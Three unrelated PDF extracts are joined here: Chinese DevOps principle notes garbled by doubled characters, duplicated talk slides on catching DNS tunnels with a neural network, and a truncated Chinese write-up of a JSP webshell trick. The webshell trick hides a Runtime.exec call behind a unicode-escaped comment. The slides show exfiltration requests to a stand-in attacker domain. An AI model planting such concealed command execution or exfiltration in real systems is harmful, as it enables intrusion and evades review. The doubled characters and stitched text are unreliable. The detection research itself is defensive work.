除⾮非有卡⽚片完成或回退到左侧队列列 除⾮非有卡⽚片加到看板,否则不不⼯工作 强制所有⼯工作必须可视化 更更容易易发现阻碍⼯工作完成的问题 暂缓开始,聚焦完成 减少批量量规模 寄信件的例例⼦子 10封信件要发,每封信件有四个步 骤:折纸、插⼊入信封、封⼝口、贴邮票 ⽅方式⼀一:⼤大批量量策略略:先折纸10张,然后 统⼀一插⼊入信封,然后统⼀一封⼝口,再贴邮票 ⽅方式⼆二:⼩小批量量策略略:第⼀一封信做完四个 步骤,再开始做第⼆二封信,以此类推 ⽅方式⼀一:第⼀一个完成的信件花费310秒, 更更糟的是如果折纸步骤有错,在200秒 后才会发现,然后所有信件都要重做 ⽅方式⼆二:第⼀一个完成的信件花费40秒, ⽐比⽅方式⼀一快8倍,如果折纸步骤有错,只 需要把第⼀一个完成的信件重做 ⼩小批量量的好处 更更少的WIP 更更快的前置时间 快速发现错误 更更少的返⼯工 在技术价值流中,与单 件流对等的是持续部署 每次变更更提交到版本控制库,被集成、 测试和部署到⽣生产环境 减少交接数量量 将代码从版本库转移到 ⽣生产环境需要很多操作 需要多个部⻔门执⾏行行多种任务 包括功能测试、集成测试、环境准备、 系统/存储/⽹网络/负载均衡/安全管理理等 ⼯工作在团队间交接,需要各种沟通 请求、说明、发信号 协调、排序、排期 解决冲突、测试与验证 需要使⽤用不不同的⼯工单或项⽬目管理理系统 编写各类技术说明⽂文档 沟通会议、邮件、电话 使⽤用⽂文件系统/FTP/Wiki进⾏行行共享 以上每⼀一个步骤都有潜在队列列 前置周期很⻓长 经常需要向上升级以满⾜足时间要求 交接过程中会有信息丢失 管理理员接到⼯工单创建⼀一个账号,但不不知 道是哪个服务的、为什什么、有⽆无依赖、 是否是重复性的⼯工作等 为了了解决以上问题,需要 减少交接数量量 ⾃自动化 ⼯工作的重要部分 调整组织结构 可以⾃自⼰己交付价值给客户 ⽽而不不⽤用⼀一直依赖其他⼈人 持续识别和拓拓宽约束 为了了缩短前置时间并增加吞吐量量, 需要持续识别约束并改进⼯工作容量量 在约束点之前改进,只会让⼯工作更更快 的堆积在瓶颈点 在瓶颈点之后改进,会保持饥饿,等 待⼯工作从瓶颈点通过 解决约束的五个步骤 识别系统约束 考虑如何拓拓宽约束(挖尽潜能) 约束资源休息时找⼈人替换 让其他⼀一切配合上述决定 帮助约束资源,任务转移到⾮非瓶颈资源 不不允许约束资源停⼯工 释放⾜足够的WIP,保持约束队资源列列在预计的⻓长度 移除过多的WIP 提升系统的约束(如增加资源) 如果约束解决,回到第⼀一步, 但不不允许惰性导致系统约束 DevOps转型中,约束 经常遵循以下发展过程 环境建⽴立 测试或⽣生产环境不不能等待数周才建好 对策:按需、完全⾃自服务的创建环境 代码部署 代码部署不不能通过多个⼿手⼯工、易易出错 的多⼈人协作完成 对策:⾃自动化部署,⽬目标是开发⾃自服 务且完全⾃自动化 测试启动和运⾏行行 不不能每次花费两周准备测试环境和数 据,另外四周进⾏行行⼿手⼯工回归测试 对策:⾃自动化测试集,让测试速度跟 上代码部署速度,平⾏行行进⾏行行 过于紧耦合的架构 不不能每次代码变更更都要⼯工程师到管 理理层申请变更更 对策:构造解耦架构,变更更可以更更 安全和⾃自治,提⾼高开发⽣生产率 以上约束解决后,约束点会 在开发或产品负责⼈人 限制只有好的商业假设和必要的代码 开发,⽤用于向真实⽤用户验证假设 在价值流中排除艰⾟辛和浪费 制造业的七种浪费 inventory, overproduction, extra processing, transportation, waiting, motion, and defects 软件开发中的浪费 部分完成的⼯工作 未评审的需求⽂文档和变更更单 等待QA审核或系统管理理员处理理 额外的流程 下游⼯工作不不使⽤用的⽂文档 对输出不不增值的审核审批 额外的功能 范围镀⾦金金 增加测试和管理理的复杂性和⼯工作量量 任务切换 需要多项⽬目切换,管理理⼯工作依赖 增加了了额外的⼯工作量量和时间消耗 等待浪费 等待⼯工作所需资源 增加了了周期时间,阻⽌止了了⽤用户获得价值 动作浪费 需要频繁沟通的⼈人不不在⼀一处办公 交接经常导致动作浪费,需要额 外的沟通和解决歧义 缺陷浪费 错误、缺失、不不清晰的信息或材料料 缺陷产⽣生和发现的间隔越⻓长越难解决 ⾮非标准或⼿手⼯工⼯工作 使⽤用别⼈人提供的,不不可重建 的服务器器,测试环境和配置 理理想情况下对运维的依赖应该 ⾃自动化,⾃自服务和按需获取 英雄主义⾏行行为 如凌晨两点处理理⽣生产问题,每次发 布⽣生成上百个⼯工单 3. The Principles of Feedback 在复杂系统上安全的⼯工作 由⾼高度关联、紧耦合的组件构成,系统 ⾏行行为不不能仅仅通过系统组件的⾏行行为解释 ⼀一个组件发⽣生问题,很难与其他 组件隔离 同样的事情做两次,不不是同⼀一结果, 静态检查清单和最佳实践可能不不⾜足以 避免问题发⽣生 让复杂系统上的⼯工作更更安全的条件 复杂⼯工作被管理理,所以设计和执 ⾏行行的问题被暴暴露露出来 问题被解决,结果是快速构造新知识 新的局部知识被开拓拓为整个组织的 持续提⾼高这种能⼒力力的⼈人提拔为领导 在问题出现时发现问题 需要持续测试我们的设计和运营假设 ⽬目标是提升信息流,更更早、更更快、更更便便宜, 让原因和影响更更清晰 验证更更多假设,才能更更快发现和修复问题, 增加恢复能⼒力力,敏敏捷性,学习和创新能⼒力力 建⽴立快速的向前反馈循环 ⽐比如采⽤用瀑布模式的项⽬目,⼀一整年年开发过程没有质量量反 馈,直到测试阶段,但解决问题已经为时过晚 我们的⽬目标是在⼯工作执⾏行行时快速反馈,包括⾃自动化构 建、集成、测试,⽴立即发现问题 建⽴立普遍的遥测,可以看到系统组件在⽣生产环境运⾏行行情 况,以及我们的⾏行行为如何影响系统其他部分 密集解决问题,构建新知识 典范:丰⽥田安灯拉绳 某个部件发现缺陷,或需要的部件不不 可⽤用,每个⼯工⼈人或领导都可以拉拉绳 安灯拉升被拉动后,团队负责⼈人收到 警报并⽴立即解决问题 如果问题在规定时间(如15s)未被解 决,那么⽣生产线停下来,以便便整个组 织辅助解决问题直到有对策提出 密集⽴立即解决问题,⽽而不不是绕开问题 避免问题流转到下游,避免修复成本 ⼏几何上升,技术债累积 避免开展新⼯工作,那样可能引⼊入新错 误到系统中 如果问题未解决,⼯工作中⼼心在下次操 作中可能会碰到同样的问题,需要更更 多修复⼯工作 密集解决问题促进学习 防⽌止丢失关键信息 尤其在复杂系统中,特殊的流 程和场景很难事后精确重现 保持将质量量向源头推进 复杂系统中,增加更更多的检查和审批 流程,实际上增加未来失败的可能性 审批流程的有效性,随着将决策远离 ⼯工作执⾏行行处⽽而降低 这样做不不仅降低决策质量量,更更增加了了 周期时间,降低了了反馈的⼒力力量量 降低了了从成功和失败中学习的能⼒力力 ⽆无效质量量控制的例例⼦子 需要另外⼀一个团队完成单调、易易出错的⼿手⼯工 任务,其实可以简单的⾃自动化并由⾃自⼰己执⾏行行 需要⼀一个远离⼯工作执⾏行行、繁忙的⼈人审批,强迫 他们在缺少⾜足够⼯工作信息的情况下做出决策 编写⼤大量量⽂文档,其中很多存在问题的 细节在写完后会很快会过期 把⼤大批量量⼯工作推给团队或特定的管理理 层处理理和审批,然后等待回复 我们需要价值流中的每个⼈人, 在他们的控制领域找到并解决 问题,作为⽇日常⼯工作的⼀一部分 把质量量、安全责任和决定权推 到⼯工作执⾏行行处 ⽽而不不是依赖远处管理理层的审批 推荐的做法 通过Peer Review确认变更更符合设计 ⾃自动化尽可能多的质量量检查(传统是 QA和信息安全部⻔门执⾏行行的) 开发⼈人员可以快速测试⾃自⼰己的代码, 甚⾄至⾃自⼰己部署到⽣生产环境 质量量是每个⼈人的责任,⽽而不不是某个独 ⽴立部⻔门的 让开发⼈人员共享质量量责任,不不仅改善 结果还能促进学习 为下游⼯工作进⾏行行优化 精益定义了了两类客户 外部客户:为服务付费 内部客户:接收和处理理我们⼯工作的⼈人 我们最重要的客户就是下游⼯工作 为下游优化我们的⼯工作 为运营的⾮非功能性需求进⾏行行设计 包括架构,性能,稳定性,可测 性,可配置性和安全性,跟⽤用户 的功能需求具有相同优先级 将⾮非功能需求主动集成到我们构 建的服务中 4. The Principles of Continual Learning and Experimentation 持续创造个体知识,并转化 为团队和整个组织的知识 ⽬目标是创建⾼高度信任⽂文化,强调我们是 终身学习者,需要在⽇日常⼯工作承担⻛风险 将局部学习到的知识快速转换为全局改进 在⽇日常⼯工作中预留留时间以加速和保证学习, 持续将压⼒力力注⼊入到系统中以促进持续改进 甚⾄至在⽣生产环境的可控范围内,模拟和注⼊入 失败,⽤用于增强系统的恢复能⼒力力 激活组织学习和安全的⽂文化 出现影响客户的事故,常⻅见的管理理反应 是“name, blame, and shame”,然后创建更更 多的流程和审批⽤用来预防问题再次发⽣生 在技术价值流中,我们⼯工作在复杂系统(⽆无法 完美预测采取活动的预期结果),如果管理理对 于失败和事故的反应导致恐惧的⽂文化,问题可 能被隐藏直到灾难发⽣生 Westrum定义了了三种⽂文化类型 病态组织:以⼤大量量恐惧和威胁为特点,隐藏失败 官僚僚组织:以规则和流程为特点,各扫⻔门前雪 ⽣生机型组织:以积极寻找和共享信息为特点, 责任共享,失败导致反思和调查 在技术价值流中,通过创建安全系统 构建⽣生机型⽂文化的基础 ⽐比如引导⼀一个免责的事故后分析机制,学 习问题如何发⽣生以及改进的最佳的对策, 防⽌止问题再次发⽣生或快速发现并恢复 An engineer at Etsy:“By removing blame, you remove fear; by removing fear, you enable honesty; and honesty enables prevention.” 让⽇日常⼯工作的改进制度化 如果避免修复问题,⽽而是依靠变通措施,问题和技 术债将会累积,直到所有⼯工作都是在做变通措施 ⽐比⽇日常⼯工作更更重要的是改进⽇日常⼯工作 明确的安排时间解决技术债和修复缺 陷,进⾏行行重构并改进代码和环境问题 Alcoa,⼀一个铝的制造商,在1987年年 2%的⼯工⼈人受伤,平均每天7⼈人受伤 CEO决定24⼩小时接收有任何⼈人受伤 的消息,并不不是惩罚,⽽而是确保升级 成学习,构造更更安全的⽣生产环境 经历了了⼗十年年时间,⼯工⼈人受伤率降低了了 95%,在业界是最令⼈人瞩⽬目的安全 记录 在技术价值流中,从最薄弱的失败信 号中找到和修复问题 ⾸首先从影响客户的事故开始进⾏行行免责 的事后分析 然后从影响团队的次要事故进⾏行行分析 将局部发现转化为全局改进 美国海海军核动⼒力力推进项⽬目 有超过5700堆年年的运营时间,但⽆无 ⼀一起反应堆相关⼈人员伤亡或辐射泄漏漏 严格定义操作规程和标准⼯工作,任何 偏离规程和标准的操作要积累成学习 内容,持续更更新规程和系统设计 新的成员出海海时,他们讲受益于 5700堆年年⽆无事故的知识,并且他们 的经验也会被加⼊入到集体知识给别⼈人 在技术价值流中,必须建 ⽴立同样的机制 让事故分析报告能够被其他试图解决 相似问题的团队搜索到 建⽴立共享代码库横跨整个组织,共享 代码、库、配置,让集体知识能够被 整个组织利利⽤用 在⽇日常⼯工作中注⼊入恢复模式 Aisin Seiki,丰⽥田顶级供货商 假如拥有两条⽣生产线,在慢速⽇日,会 把所有制造放在⼀一条⽣生产线上,实验 是否扩充容量量会导致失败 这种增加压⼒力力提升恢复能⼒力力的流程被称为反脆弱 在技术价值流中 实施Game Day演习,演练⼤大范围失败 (如关闭整个数据中⼼心) 在⽣生产环境注⼊入⼤大范围失效,如Netflix 的Chaos Monkey,随机在⽣生产环境杀 进程,确保我们有期望的恢复能⼒力力 领导者增强学习⽂文化 卓越不不是领导者做出所有正确决定就能取得的,⽽而 是领导者创造条件,由团队在⽇日常⼯工作中发现的 科学实验 明确描述需要解决的问题 解决问题对策的假设 验证假设的⽅方法 对结果的解释 学习到的信息⽤用于下⼀一迭代
pdf
Catching DNS tunnels with Catching DNS tunnels with IDS that doesn’t suck A.I. IDS that doesn’t suck A.I. A talk about Artificial Intelligence, A talk about Artificial Intelligence, geometry and malicious network geometry and malicious network traffic. traffic. Agenda Agenda Introduction Introduction Neural Network basics Neural Network basics DNS Tunnel Basics DNS Tunnel Basics Data mining DNS tunnels out of Data mining DNS tunnels out of network traffic with a Neural network traffic with a Neural Network. Network. Destination… unknown… Destination… unknown… Introduction Introduction The goal of the project was to The goal of the project was to reliably discover DNS tunnels out of reliably discover DNS tunnels out of network traffic. network traffic. Hopefully, you’ll learn a lot from it. If Hopefully, you’ll learn a lot from it. If nothing else, maybe it will inspire nothing else, maybe it will inspire someone to do something someone to do something interesting. interesting. A.I. A.I. When I say A.I., most people start When I say A.I., most people start thinking of a computer with thinking of a computer with personality or traits, movie or book personality or traits, movie or book computer characters, replacing their computer characters, replacing their spouse with a robot etc. spouse with a robot etc. Not really what *I* am talking about Not really what *I* am talking about when I say AI. How about a program when I say AI. How about a program that gets a computer to make a that gets a computer to make a difficult distinction or decision. difficult distinction or decision. Classification Classification Classification is one such distinction Classification is one such distinction or decision. or decision. So, lets get a more clear discussion So, lets get a more clear discussion of AI by talking about how we think. of AI by talking about how we think. Or how we think we think, we think. Or how we think we think, we think. Ugh. Ugh. Which is the apple, orange and Which is the apple, orange and banana? banana? What did your brain just do? What did your brain just do? We made a classification on abstract We made a classification on abstract objects based on traits of real objects based on traits of real objects. objects. You pulled *traits* from real life. You pulled *traits* from real life. You assigned *weights* to those You assigned *weights* to those traits. traits. Easy with only a few traits…so Easy with only a few traits…so you think. Enter thresholds… you think. Enter thresholds…  When does the following become When does the following become green or blue? green or blue? What if we have LOTS of traits What if we have LOTS of traits involved? involved? Remember, we need traits we can Remember, we need traits we can measure. measure. Enter Artificial Neural Nets Enter Artificial Neural Nets Key terms explain it all. Key terms explain it all. ““non-linear statistical data modeling” non-linear statistical data modeling” ““adaptive” adaptive” ““can be used to model complex can be used to model complex relationships between inputs and relationships between inputs and outputs or to find patterns in data” outputs or to find patterns in data” Don’t worry, it’s easy Don’t worry, it’s easy We have software that reproduces We have software that reproduces what we just did. what we just did. We are taking a bunch in inputs We are taking a bunch in inputs (traits ) (traits ) We give them values (assign weights We give them values (assign weights )) We ADAPT our decisions until they We ADAPT our decisions until they match our training data. (set match our training data. (set thresholds) thresholds) If you have an answer cheat-sheet, If you have an answer cheat-sheet, its called supervised learning. its called supervised learning. ANN ANN  I’d rather not get into the nuts and I’d rather not get into the nuts and bolts of how the ANN’s work, unless bolts of how the ANN’s work, unless you have questions. you have questions.  And keep this in mind, you don’t And keep this in mind, you don’t need to know how they work. need to know how they work. 1. 1. Build the problem, define the decision, Build the problem, define the decision, select the traits, assign weights. select the traits, assign weights. 2. 2. USE SOMEONE ELSES ANN PACKAGE. USE SOMEONE ELSES ANN PACKAGE. 3. 3. You only need to know the ins and outs You only need to know the ins and outs during the final stage, tuning the ANN. during the final stage, tuning the ANN. Agenda Agenda Introduction Introduction Neural Network basics Neural Network basics DNS Tunnel Basics DNS Tunnel Basics Data mining DNS tunnels out of Data mining DNS tunnels out of network traffic with a Neural network traffic with a Neural Network. Network. Destination… unknown… Destination… unknown… What is a DNS tunnel? What is a DNS tunnel? DNS is Domain Name System DNS is Domain Name System Used, in general, to map IP Used, in general, to map IP addresses to domain names. (yes, I addresses to domain names. (yes, I know, has lots of other uses) know, has lots of other uses) DNS tunnels are so lethal because DNS tunnels are so lethal because they work from nearly anywhere. they work from nearly anywhere. L a p t o p S e r v e r B l a d e S e r v e r S e r v e r F ir e w a l ls , I D S , I P S , n e t w o r k , e t c W h o i s d a t a . b a d g u y . c o m ? I d o n t k n o w , le t m e a s k a r o o t s e r v e r I d o n t k n o w , le t m e a s k b a d g u y . c o m I t o o k t h e d a t a , I r e p l y w i t h c m d . b a d g u y . c o m I r e c e iv e c m d . b a d g u y . c o m The key points are this: The key points are this: DNS is an automatic route out of a DNS is an automatic route out of a network and to the malicious host, if network and to the malicious host, if the data is in the request or the data is in the request or response. response. DNS requests that are not cached get DNS requests that are not cached get routed to an authoritative server for routed to an authoritative server for that domain. that domain. Make it a tunnel Make it a tunnel  So if I make a request to So if I make a request to data2exfiltrate.diaboloicalplans.com data2exfiltrate.diaboloicalplans.com  It will be eventually “routed” in the DNS It will be eventually “routed” in the DNS protocol to diabolicalplans.com DNS protocol to diabolicalplans.com DNS server. server.  The DNS server will strip off the data, and The DNS server will strip off the data, and respond with either a respond with either a command.diabolicalplans.com or an IP command.diabolicalplans.com or an IP address. address.  I can run a complete command and control I can run a complete command and control tunnel for a trojan in this fashion. I can tunnel for a trojan in this fashion. I can exfiltrate as much data as I want, you cant exfiltrate as much data as I want, you cant stop the signal (of DNS). stop the signal (of DNS). Okay, that’s a tunnel. Here’s Okay, that’s a tunnel. Here’s some takeaway some takeaway Historical IDS and now IPS are Historical IDS and now IPS are primarily concerned with detecting or primarily concerned with detecting or stopping attacks. stopping attacks. This is pretty useless because it’s too This is pretty useless because it’s too hard. hard. Hunting for egress C&C, or Hunting for egress C&C, or tunnels, traffic is a better way to tunnels, traffic is a better way to catch intruders. catch intruders. ““If you get in, you have to get out.” If you get in, you have to get out.” Agenda Agenda Introduction Introduction Neural Network basics Neural Network basics DNS Tunnel Basics DNS Tunnel Basics Data mining DNS tunnels out of Data mining DNS tunnels out of network traffic with a Neural network traffic with a Neural Network. Network. Destination… unknown… Destination… unknown… So, first things first. So, first things first. Why an ANN to look for DNS tunnels? Why an ANN to look for DNS tunnels? Turns signatures away from packets, Turns signatures away from packets, into traits, weights and thresholds. 2 of into traits, weights and thresholds. 2 of the three things there we don’t even the three things there we don’t even set, the ANN does during its “learning” set, the ANN does during its “learning” phase. phase. But mostly because of their adaptive But mostly because of their adaptive abilities. This allows me to be even abilities. This allows me to be even lazier… lazier… Cont. Cont. The ANN will use the method we just The ANN will use the method we just learned to look at DNS traffic. learned to look at DNS traffic. If the weights or thresholds are set to If the weights or thresholds are set to low, and we find a DNS tunnel we cant low, and we find a DNS tunnel we cant identify, we just add it to our training identify, we just add it to our training data and “re-learn”. data and “re-learn”. Learning allows the ANN to reset new Learning allows the ANN to reset new weights and thresholds (not traits) to weights and thresholds (not traits) to find this unknown tunnel. find this unknown tunnel. We should NEVER have to rewrite We should NEVER have to rewrite another signature by hand. another signature by hand. Cont. Cont. Snort, <edit> and <edit> all pretty Snort, <edit> and <edit> all pretty much suck (currently) at finding DNS much suck (currently) at finding DNS tunnels. I’m not familiar with others. tunnels. I’m not familiar with others. I found lots of references on the web I found lots of references on the web to using ANN’s and statistics to find to using ANN’s and statistics to find DNS tunnels, but I couldn’t find an DNS tunnels, but I couldn’t find an actual packaged idea. actual packaged idea. Step 1: Frame the Question Step 1: Frame the Question Correctly Correctly Most AI projects don’t do this. Most AI projects don’t do this. We have to get a classification or We have to get a classification or decision that is simple. You can add decision that is simple. You can add multiple simple decisions together to multiple simple decisions together to make a bigger one if needed, but we make a bigger one if needed, but we don’t need that. don’t need that. Ours is, “Are requests to a domain Ours is, “Are requests to a domain part of a tunnel or not” part of a tunnel or not” Okay, now we need to go get traits. Okay, now we need to go get traits. Traits Traits 1. 1. We will track each domain by its We will track each domain by its name. name. 2. 2. How many packets to that domain? How many packets to that domain? 3. 3. Average length of packets to that Average length of packets to that domain? domain? 4. 4. Average number of distinct Average number of distinct characters in the lowest level characters in the lowest level domain. domain. 5. 5. And… hhmmm… And… hhmmm… Something is missing Something is missing ““I was told there’d be no I was told there’d be no math” math”  I originally planned to capture the I originally planned to capture the “entropy” or “information gain” in each “entropy” or “information gain” in each LLD (aka Shannon’s theorems). (LLD == LLD (aka Shannon’s theorems). (LLD == Lowest Level Domain) Lowest Level Domain)  But this doesn’t work. But this doesn’t work.  Lkwoeiurhdan.diabolicalplans.com Lkwoeiurhdan.diabolicalplans.com  It has a high “entropy” as opposed to www, but It has a high “entropy” as opposed to www, but Hostname? foreign language? Encoded data? Hostname? foreign language? Encoded data?  If I see it in 16 requests, then I can probably If I see it in 16 requests, then I can probably make an assessment (or an educated guess). make an assessment (or an educated guess). ““I was told there’d be no I was told there’d be no math” math” So, what I *REALLY* wanted was a So, what I *REALLY* wanted was a way to compare LLD’s in the same way to compare LLD’s in the same domain to each other. domain to each other. How much is LLD in request 1, like How much is LLD in request 1, like LLD in request 2, like LLD in request LLD in request 2, like LLD in request 3, etc. 3, etc. If data is moving out of a tunnel via If data is moving out of a tunnel via the LLD, the LLD’s will change a the LLD, the LLD’s will change a great deal (relative to their great deal (relative to their encoding). encoding). ““I was told there’d be no I was told there’d be no math” math”  So, lets not think of So, lets not think of LLD’s as strings. LLD’s as strings.  Let us think of Let us think of them instead as them instead as structures. structures.  Lets look at an Lets look at an easy example. easy example. Dogs and cat in 2 Dogs and cat in 2 dimensional space. dimensional space. 8 9 10 11 12 13 14 15 16 17 18 19 20 15 Comparing Words Wit Letter Values Comparing Words With Graphs 3 1 20 0 4 15 7 19 0 5 10 15 20 25 1 2 3 4 Letter Spaces Letter Values Series1 Series2 ““I was told there’d be no I was told there’d be no math” math”  So, what we will do is more complex than So, what we will do is more complex than that. We need to normalize the data so that. We need to normalize the data so that we can measure geographic distance. that we can measure geographic distance.  LLD’s can only have a limited number of LLD’s can only have a limited number of chars in them, per RFC 1035. chars in them, per RFC 1035.  So lets think of each spot in an LLD as So lets think of each spot in an LLD as having 36 possible values [a-z + 0-9] and having 36 possible values [a-z + 0-9] and a NULL value for everything else. a NULL value for everything else.  Now we have multi ordinal vectors… 8 Now we have multi ordinal vectors… 8 chars means 8 dimensions… chars means 8 dimensions… ““I was told there’d be no I was told there’d be no math” math” X = ( r – 1)/(R – 1) X = ( r – 1)/(R – 1) So if we have 0 (null),A-Z,0-9 So if we have 0 (null),A-Z,0-9 X for A = ( 2 – 1 )/ (36 – 1) = .0285 X for A = ( 2 – 1 )/ (36 – 1) = .0285 Repeat until all characters are Repeat until all characters are normalized. normalized. Ordinal or Geometric Distance Ordinal or Geometric Distance - - Normalized Rank Normalized Rank Transformation Transformation So…uhhhh… So…uhhhh… So for each letter in the two LLD’s, So for each letter in the two LLD’s, we calculate a normalized value we calculate a normalized value (which maybe null, which is 0) (which maybe null, which is 0) between 0 and 1. between 0 and 1. We sum the squared subtraction of We sum the squared subtraction of each letter, and take the square root each letter, and take the square root of that. of that. This allows us to calculate the This allows us to calculate the DISTANCE between LLD’s. DISTANCE between LLD’s. The Power of Cheese The Power of Cheese  In Euclidian geometry another word for In Euclidian geometry another word for distance is SIMILARITY (or its inverse DIS- distance is SIMILARITY (or its inverse DIS- SIMILARITY). SIMILARITY).  We are now able to calculate how much We are now able to calculate how much alike two LLD’s are. alike two LLD’s are.  Is LLD 1 like LLD 2 ? How different are Is LLD 1 like LLD 2 ? How different are they? Are they different than LLD 3 ? How they? Are they different than LLD 3 ? How much ? much ?  Do you see the power of what we are now Do you see the power of what we are now able to feed the Neural Net ? able to feed the Neural Net ? Traits Traits So now we have a pretty good list of So now we have a pretty good list of traits. traits. We now “train” the neural network We now “train” the neural network using data we have control over. using data we have control over. Then run it on real data, see what it Then run it on real data, see what it finds. finds. Anytime we have a false negative, Anytime we have a false negative, we add the new data to the training we add the new data to the training list and retrain. list and retrain. Over-fitting and under-fitting are a Over-fitting and under-fitting are a concern. Go rent a real AI guy? Or concern. Go rent a real AI guy? Or DNStTrap 0.9 FAQ DNStTrap 0.9 FAQ  Why version 0.9? Why version 0.9?  Its not iron clad, armored software. Its not iron clad, armored software. It is POC It is POC only. only.  Doesn’t sniff off the wire (windowing issues), Doesn’t sniff off the wire (windowing issues), uses pcap files instead uses pcap files instead  Real AI guys can probably tune the NN way Real AI guys can probably tune the NN way better better  What are the major functions? What are the major functions?  Findtunnels – looks at bulk data to find new Findtunnels – looks at bulk data to find new tunnels tunnels  Newdata – creates a new training file entry Newdata – creates a new training file entry  Train – train or retrain the NN Train – train or retrain the NN DEMO (or at end, depending on time) DEMO (or at end, depending on time) How Does it Work? How Does it Work?  Well, it works. Well, it works.  Caught the following without tuning: Caught the following without tuning:  Iodine Iodine  Ozzyman Ozzyman  Dns2tcp Dns2tcp  Sorry nerds, no stats. Sorry nerds, no stats.  But, it only works on tcpdump files of up to But, it only works on tcpdump files of up to X domains at time. This is because its X domains at time. This is because its programmer sucks. Scalability issues. programmer sucks. Scalability issues. What about Heyoka? What about Heyoka? New DNS tunnel tool. Not yet New DNS tunnel tool. Not yet publicly available. publicly available. Spoofs source addresses to create Spoofs source addresses to create asymmetrical DNS tunnel. asymmetrical DNS tunnel. I would I would guess guess that dnsTTrap will find that dnsTTrap will find it. (strictly a guess) it. (strictly a guess) dnsTTrap is asymmetrical, and it looks dnsTTrap is asymmetrical, and it looks at data to a domain, not from hosts. at data to a domain, not from hosts. How does it work cont. How does it work cont. Its all about tuning Its all about tuning Able to tune to super low false Able to tune to super low false positive on small networks and single positive on small networks and single hosts. hosts. But over-fitting resulted in false- But over-fitting resulted in false- negatives on larger network samples. negatives on larger network samples. So as a rule, tune it down, but don’t So as a rule, tune it down, but don’t over do it. You may just have to over do it. You may just have to accept some false positives. accept some false positives. Ways to defeat it… Ways to defeat it… So, it’s a good idea, but it has a few So, it’s a good idea, but it has a few weaknesses. weaknesses. Don’t use the LLD, use a middle sub- Don’t use the LLD, use a middle sub- domain. But, this is kinda lame because domain. But, this is kinda lame because its an attack on my lame programming its an attack on my lame programming ability more than the idea. (iodine, ability more than the idea. (iodine, tcp2dns, ozzyman all use LLD). tcp2dns, ozzyman all use LLD). Use tons of domains and make requests Use tons of domains and make requests multiple times to each. This isnt much multiple times to each. This isnt much of a victory though because your limited of a victory though because your limited DNS-tunnel 3K bandwidth will be cut DNS-tunnel 3K bandwidth will be cut even further. even further. This slide used to say This slide used to say something obnoxious something obnoxious And has been replaced. And has been replaced. Slides and source can be found at Slides and source can be found at www.meanypants.com www.meanypants.com project email can be sent to project email can be sent to [email protected] [email protected] No need to email me about how No need to email me about how much my code sucks, I already know. much my code sucks, I already know. Thanks! Thanks!  So, I have no idea what I’m going to do So, I have no idea what I’m going to do with this. with this.  I’m not really interested in patents and the I’m not really interested in patents and the like. Everything I’ve done is public like. Everything I’ve done is public domain, so feel free to work with it. domain, so feel free to work with it.  Thanks to Hick.org, Skape, Warlord, Rizo, Thanks to Hick.org, Skape, Warlord, Rizo, Slurbo and Bill Swearingen for the help Slurbo and Bill Swearingen for the help and reviews. and reviews.  Needs a complete code rewrite, who has Needs a complete code rewrite, who has that kind of time… ? that kind of time… ? Thanks! Thanks!  So, I have no idea what I’m going to do So, I have no idea what I’m going to do with this. with this.  I’m not really interested in patents and the I’m not really interested in patents and the like. Everything I’ve done is public like. Everything I’ve done is public domain, so feel free to work with it. domain, so feel free to work with it.  Thanks to Hick.org, Skape, Warlord, Rizo Thanks to Hick.org, Skape, Warlord, Rizo and Bill Swearingen for the help and and Bill Swearingen for the help and reviews. reviews.  Needs a complete code rewrite, who has Needs a complete code rewrite, who has that kind of time… ? that kind of time… ? Questions and “Where you can Questions and “Where you can go from here” for the AI bound go from here” for the AI bound hacker hacker  Recommended Reading: Recommended Reading:  Mess around with an AI tool like Weka. Mess around with an AI tool like Weka.  Read the internet, wiki actually has really good Read the internet, wiki actually has really good AI stuff. AI stuff.  The best introductory book is “Fuzzy Thinking” The best introductory book is “Fuzzy Thinking” by Bart Kosko. by Bart Kosko.  NeuroSolutions has the best gui around an NeuroSolutions has the best gui around an ANN. It’s a gui that shows all the innards of an ANN. It’s a gui that shows all the innards of an ANN. ANN.
pdf
JspWebShell新姿势解读 写在前⾯ 刚刚⽆意间发现我yzddmr6发了篇新⽂章,⾥⾯提到了⼀个jspwebshell的新姿势,但是没有 具体分析,那么这⾥我就接着来分析⼀波 ⾸先代码长这样 正⽂ 如果按照传统Java的javac的⽅式编译这样⼀定是会出错的,这⾥不贴图⾃⼰试试,⽽jsp不同 于普通的java程序,jsp是有⾃⼰的对类编译时的实现机制,其编译类的时候最终是 在 org.apache.jasper.compiler.JDTCompiler#generateClass ⽣成我们的class⽂件 (省略中途的很多步骤直捣黄龙,不然讲着也费劲) 这是调⽤栈,有兴趣可以深⼊分析 <%    Runtime.getRuntime().    //\u000d\uabcdexec("open -na Calculator"); %> getNextToken0:1482, Scanner (org.eclipse.jdt.internal.compiler.parser) getNextToken:1462, Scanner (org.eclipse.jdt.internal.compiler.parser) fetchNextToken:12999, Parser (org.eclipse.jdt.internal.compiler.parser) parse:12891, Parser (org.eclipse.jdt.internal.compiler.parser) parse:13277, Parser (org.eclipse.jdt.internal.compiler.parser) parseStatements:225, MethodDeclaration (org.eclipse.jdt.internal.compiler.ast) parseMethods:1152, TypeDeclaration (org.eclipse.jdt.internal.compiler.ast) getMethodBodies:11941, Parser (org.eclipse.jdt.internal.compiler.parser) process:888, Compiler (org.eclipse.jdt.internal.compiler) processCompiledUnits:575, Compiler (org.eclipse.jdt.internal.compiler) compile:475, Compiler (org.eclipse.jdt.internal.compiler) compile:426, Compiler (org.eclipse.jdt.internal.compiler) generateClass:457, JDTCompiler (org.apache.jasper.compiler) compile:397, Compiler (org.apache.jasper.compiler) compile:367, Compiler (org.apache.jasper.compiler) compile:351, Compiler (org.apache.jasper.compiler) compile:605, JspCompilationContext (org.apache.jasper) service:399, JspServletWrapper (org.apache.jasper.servlet) serviceJspFile:379, JspServlet (org.apache.jasper.servlet) service:327, JspServlet (org.apache.jasper.servlet) service:763, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:197, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:540, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:687, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:357, 